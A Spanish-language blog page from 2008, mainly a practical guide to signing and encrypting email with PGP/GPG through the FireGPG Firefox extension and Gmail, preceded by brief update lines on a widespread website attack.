Actualización 26-04-2008: En Kriptópolis se hacen eco del ataque y ha afectado a más de 500.000 sitios en los últimos dias. Qué cracks.

Actualización 28-04-2008: Y esto no se acaba, reacciones en Washington Post via OS News. También en IIS.NET y una guía de seguridad de Microsoft por si alguien la quiere descifrar.

Posted in Seguridad | Tagged , | 4 Comments

PGP práctico con Firefox y Gmail

Para los que llevamos tiempo en el mundo de Linux seguro que hemos visto más de una vez mensajes en listas de correo o foros o por ejemplo últimamente para firmar la autenticidad de los paquetes de Ubuntu, las siglas PGP o GPG.

PGP es un algoritmo criptográfico de clave asimétrica que se creó alrededor de 1991 (aunque ha ido evolucionando) y ha llegado, no sin algunos entresijos legales, hasta nuestros días como uno de los mejores mecanismos de firma y encriptación existentes y de implementación abierta a través de OpenPGP y la RFC2440. Y GPG no es más que una de las implementaciones más populares del algoritmo, disponible para varias plataformas.

Y gracias a GPG tenemos en Firefox una estupenda extensión llamada FireGPG, como no podía ser de otra manera. De este modo, GPG se encarga de gestionar nuestras claves mientras que la extensión nos ofrece un menú contextual para encriptar o firmar el texto seleccionado y integración con Gmail.

Por un lado, el menú contextual permite firmar y verificar firmas, encriptar, encriptar y firmar y desencriptar, así como importar (seleccionando el texto de la fiarma) y exportar (pegando la clave pública) firmas.

A la hora de firmar, deberemos seleccionar la clave privada con la que queremos realizar la operación y nos preguntará la palabra secreta para poder desencriptar nuestra clave privada (se guarda cifrada en el disco) y firmar el mensaje. En este caso, cualquier persona con nuestra clave pública, que podemos haber facilitado nosotros o haberla colgado en un servidor de firmas (como puede ser el de RedIris o el de PGP.com).

Si lo que queremos es encriptar, deberemos seleccionar una o varias claves públicas de los destinatarios del mensaje (y si además queremos firmar, una clave privada). Solamente los propietarios de las claves privadas que corresponden a las claves públicas usadas podrán leer el mensaje, por lo que si no nos añadimos a nosotros mismos, no podremos saber qué hemos encriptado una vez lo hagamos.

En cuanto a la integración con Gmail se hace de dos modos. El primero es el modo de lecutra, en el que aparece un pequeño texto al lado de Reenviar que pone “Descrifar el mensaje” o nos indica si la firma es válida o no.

El segundo modo es a la hora de escribir. Aparecen una serie de botones al lado de los típicos de Gmail con las mismas opciones que encontramos en el menú contextual. Pulsando uno de ellos realizaremos la misma acción pero automáticamente seleccionará todo el texto, lo firmara y/o encriptará y después lo volverá a pegar en el cuadro de texto (y si además pulsamos en la opción más enviar, enviará el correo automáticamente). Por las pruebas que he hecho, es más fiable usar la opción de enviar automáticamente porque nos aseguramos que no escribimos texto adicional que pueda alterar el mensaje.

Existe también una extensión para Thunderbird llamada Enigmail que básicamente hace lo mismo que FireGPG pero para el cliente de correo y me consta que hay también otros plugins para Outlook y otros clientes de correo populares.

En resumen, es una buena forma de conseguir firma digital. Evidentemente no existe una gran empresa que verifique de nuestras firmas son válidas y reales, pero tampoco tienen el coste que tienen algunos certificados digitales de entidades reconocidas. Aun así, se pueden crear redes de confianza entre propietarios de firmas si por ejemplo se ven en persona y intercambian sus claves públicas.

Habrá que ver si son la popularización de las firmas digitales como las que vienen en el DNI-e (aunque hay que sacarlas del carné, lo que no es una tarea tan simple) se empiezan a firmar los correos electrónicos, por lo menos a nivel institucional y coporativo, para aumentar la confiabilidad de los correos electrónicos y evitar el fraude. O, qué narices, por divertirnos un poco.

Enlace | FireGPG

Posted in Seguridad | Tagged , , , | 4 Comments